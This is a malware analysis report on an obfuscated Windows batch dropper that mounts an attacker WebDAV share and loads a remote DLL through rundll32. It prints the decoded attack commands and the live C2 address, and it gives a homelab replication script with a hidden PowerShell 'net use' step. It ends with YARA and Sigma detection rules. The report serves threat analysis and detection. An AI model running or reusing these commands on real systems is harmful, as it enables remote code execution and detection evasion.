unclassified-js-webdav-dropper: c6e24c16 — Tenth sibling, shared-prefix SET obfuscation, rundll32 variant

Executive Summary

A 2.15 KB Windows batch script (4130206511433430892.bat) that uses shared-prefix SET variable expansion obfuscation to hide a WebDAV-based DLL load. Tenth confirmed sibling of the unclassified-js-webdav-dropper family, sharing the 45.9.74.32:8888 infrastructure and rundll32 execution chain first observed in sibling e777fd64. The only delta from e777fd64 is the SET variable prefix (nmnmd vs hbutc) and the payload filename (3500.dll vs 3682.dll). Static-only — CAPE skipped as unsupported file type.

What It Is

• File: 4130206511433430892.bat (2,150 bytes) ^[triage.json]
• Type: ASCII text, Windows CRLF batch script, 3 lines, 50 words ^[file.txt] ^[exiftool.json]
• SHA-256: c6e24c168c34f1568e85923bcd9ace9bcb11916dc0e21f8e426bbd6086abc5c5
• ssdeep: Did not process files large enough to produce meaningful results ^[ssdeep.txt]
• Family: unclassified-js-webdav-dropper — confirmed tenth sibling. Same WebDAV + system-binary proxy execution chain, same IP (45.9.74.32), same port (8888), same share (DavWWWRoot). ^[strings.txt:1-3]
• CAPE: Skipped — ASCII text is not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — SET variable expansion (line 1)

Thirty-six SET assignments on a single line, each sharing the prefix nmnmd and a unique 5-character suffix. Every value is a single alphanumeric character: ^[strings.txt:1]

set nmnmdrgifq=z&&set nmnmdwqfxp=v&&set nmnmdoijux=1&&...&&set nmnmdbbixn=h

The variable names (nmnmdrgifq, nmnmdwqfxp, nmnmdoijux, etc.) are meaningless — they serve only to fragment command strings across 36 variables so no single line contains a complete keyword. The prefix is consistent (nmnmd), matching the structural pattern of sibling e777fd64 (hbutc prefix + 4-char suffix) and sibling da58243c (ygfrlo prefix + 4-char suffix). This is a distinct dialect from the natural-language phrases (ripeguaranteejar) used in siblings ffd5d894, e9e82d14, and f170f5a9. ^[strings.txt:1]

Layer 2 — %VAR% expansion (lines 2–3)

Two %VAR% expansion lines reassemble the live commands: ^[strings.txt:2-3]

Command breakdown

• color f0 — Sets console colors (white on black), visual noise to imply a legitimate application.
• start wordpad — Opens WordPad as a decoy. Same decoy used in siblings ffd5d894, e777fd64, e9e82d14, ed6b2cd3, and f170f5a9. ^[strings.txt:2]
• start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ — Mounts attacker WebDAV share silently via PowerShell wrapper. Same wrapper pattern as siblings ffd5d894 and e777fd64. ^[strings.txt:3]
• rundll32 \\45.9.74.32@8888\davwwwroot\3500.dll,entry — Loads the remote DLL via rundll32.exe, calling the entry export. Same execution engine as sibling e777fd64; distinct from the regsvr32 /s engine used in siblings da58243c, ffd5d894, e6ebae6a, e9e82d14, ed6b2cd3, f170f5a9, fa7e181d, and fb353965. ^[strings.txt:3]
• exit — Closes the batch window (implied by end of script).

Decompiled Behavior

Not applicable — this sample is ASCII text, not a PE binary. Ghidra, radare2, and capa do not support script-file analysis. All behavior was recovered via manual SET variable decoding. ^[file.txt] ^[capa.txt] ^[rabin2-info.txt]

C2 Infrastructure

The C2 IP (45.9.74.32) is identical to sibling e777fd64 and sits in the same 45.9.74.0/24 range as siblings da58243c (45.9.74.13), ffd5d894 (45.9.74.36), e9e82d14 (45.9.74.36), ed6b2cd3 (45.9.74.32), and f170f5a9 (45.9.74.36), confirming shared hosting or a single actor-controlled VPS subnet. The payload filename (3500.dll) is a short numeric throwaway name, consistent with the family's staging pattern (67.dll, 24013635923706.dll, 30122106810637.dll, 3682.dll, 1995.dll, 223191424010705.dll, 231502634512294.dll, 32238313189311.dll, 44092138622199.dll).

Interesting Tidbits

• Pure batch — no polyglot. Like ffd5d894, e777fd64, e9e82d14, ed6b2cd3, and f170f5a9, this variant is straight batch with no JScript layer. It does not copy itself to %userprofile% — one-shot execution, fewer host artefacts. ^[strings.txt:1-3]
• Shared-prefix obfuscation. The nmnmd prefix is identical in structure to the hbutc prefix used in sibling e777fd64 and the ygfrlo prefix used in sibling da58243c (polyglot JScript variant). All use a fixed prefix + short suffix. This is a distinct dialect from the natural-language phrases used in ffd5d894, e9e82d14, and f170f5a9. ^[strings.txt:1]
• rundll32 instead of regsvr32. Same execution engine as sibling e777fd64. All other siblings use regsvr32 /s. The rundll32 engine may be a response to EDR rules that specifically alert on regsvr32 with UNC paths, or it may reflect a payload DLL that exposes its entry point under the name entry rather than DllRegisterServer. ^[strings.txt:3]
• PowerShell wrapper. Same as ffd5d894 and e777fd64 — powershell.exe -windowstyle hidden wraps the net use command, adding a process hop that may evade rules watching cmd.exe → net.exe directly. ^[strings.txt:3]
• No persistence. No registry Run key, no scheduled task, no startup folder drop. One-shot execution. The payload DLL is loaded in-process by rundll32; no second-stage binary is written to disk. ^[strings.txt:3]
• No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity checks. The script runs blindly. ^[strings.txt:1-3]
• Tiny file. At 2.15 KB this is among the smallest siblings in the family (e777fd64 is also ~2 KB). The noise padding in ffd5d894 (~21 KB) and natural-language variable names account for most of the size delta; this sample has no dead text at all. ^[triage.json]

How To Mess With It (Homelab Replication)

Goal: Replicate the shared-prefix SET obfuscation pattern and test whether EDR catches rundll32 with a UNC path.

1. Write the batch file:

   @echo off
   set PFXa=c&&set PFXb=o&&set PFXc=l&&set PFXd=o&&set PFXe=r&&set PFXf=f&&set PFXg=0
   %PFXa%%PFXb%%PFXc%%PFXd%%PFXe%%PFXf%%PFXg%
   start wordpad
   start powershell.exe -windowstyle hidden net use \\<lan>@8888\DavWWWRoot\
   rundll32 \\<lan>@8888\DavWWWRoot\test.dll,entry
   

2. Place a benign test DLL on a lab WebDAV server at <lan>:8888 with an entry export.
3. Run on a Windows VM by double-clicking the .bat file.
4. Verify with Process Monitor: cmd.exe → powershell.exe → net.exe → rundll32.exe loading DLL from UNC.
5. Test EDR detection: Does your EDR flag rundll32.exe with a UNC path? Does it flag rundll32 with an explicit export name? Most EDRs do not by default.

Sibling Comparison

The rundll32 execution engine, shared-prefix obfuscation reuse, and 45.9.74.32:8888 C2 are the only notable elements in this sample. Otherwise it is a near-identical build of the family's batch-only execution chain, differing from e777fd64 only in the SET prefix and payload filename.

Deployable Signatures

YARA Rule

rule webdav_dropper_batch_shared_prefix
{
    meta:
        description = "WebDAV batch dropper with shared-prefix SET obfuscation and rundll32/regsvr32 execution"
        author = "PacketPursuit"
        date = "2026-06-23"
        reference = "/intel/analyses/c6e24c168c34f1568e85923bcd9ace9bcb11916dc0e21f8e426bbd6086abc5c5.html"
        hash = "c6e24c168c34f1568e85923bcd9ace9bcb11916dc0e21f8e426bbd6086abc5c5"
    strings:
        $set_prefix = /set [a-z]{5,6}[a-z]{4,5}=[a-z0-9]&&/ ascii
        $davwwwroot = "davwwwroot" ascii nocase
        $net_use = "net use" ascii nocase
        $regsvr32 = "regsvr32" ascii nocase
        $rundll32 = "rundll32" ascii nocase
        $wordpad = "wordpad" ascii nocase
        $ps_hidden = "-windowstyle hidden" ascii nocase
    condition:
        filesize < 25KB and
        #set_prefix > 10 and
        $davwwwroot and
        $net_use and
        ($regsvr32 or $rundll32) and
        any of ($wordpad, $ps_hidden)
}

Sigma Rule

title: WebDAV Batch Dropper Execution Chain
status: experimental
description: Detects cmd.exe spawning powershell.exe that mounts a WebDAV share and loads a remote DLL via regsvr32 or rundll32
logsource:
    category: process_creation
    product: windows
detection:
    selection_net_use:
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_proxy:
        CommandLine|contains:
            - 'regsvr32'
            - 'rundll32'
        CommandLine|contains: '\\'
    selection_ps:
        ParentImage|endswith: 'cmd.exe'
        Image|endswith: 'powershell.exe'
        CommandLine|contains: '-windowstyle hidden'
    condition: selection_net_use and selection_proxy and selection_ps
falsepositives:
    - Legitimate WebDAV administration scripts
level: high

IOC List

Behavioral Fingerprint Statement

This binary is a 2 KB Windows batch script that sets 36 shared-prefix environment variables (each holding a single character), then uses %VAR% expansion to reassemble two commands: (1) color f0 && start wordpad as a visual decoy, and (2) start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3500.dll,entry to mount a remote WebDAV share and load a DLL via rundll32.exe. No persistence, no anti-analysis, no sandbox gating. One-shot execution.

Detection Signatures

References

• Sibling analysis: e777fd64 — shared-prefix SET (hbutc), rundll32, 45.9.74.32:8888 ^[/intel/analyses/e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f.html]
• Family entity: unclassified-js-webdav-dropper
• Technique: webdav-regsvr32-dll-sideloading
• Technique: batch-powershell-variable-expansion-obfuscation
• ATT&CK T1218.011 (Rundll32): https://attack.mitre.org/techniques/T1218/011/
• ATT&CK T1218.010 (Regsvr32): https://attack.mitre.org/techniques/T1218/010/

Provenance

• Source file: 4130206511433430892.bat from OpenCTI / MalwareBazaar
• File type: ASCII text, Windows CRLF batch script (confirmed by file and ExifTool) ^[file.txt] ^[exiftool.json]
• Behavior recovered via manual SET variable decoding from strings.txt ^[strings.txt:1-3]
• No PE analysis tools applicable (Ghidra, radare2, capa skipped) ^[capa.txt] ^[rabin2-info.txt]
• CAPE detonation skipped — unsupported file type ^[dynamic-analysis.md]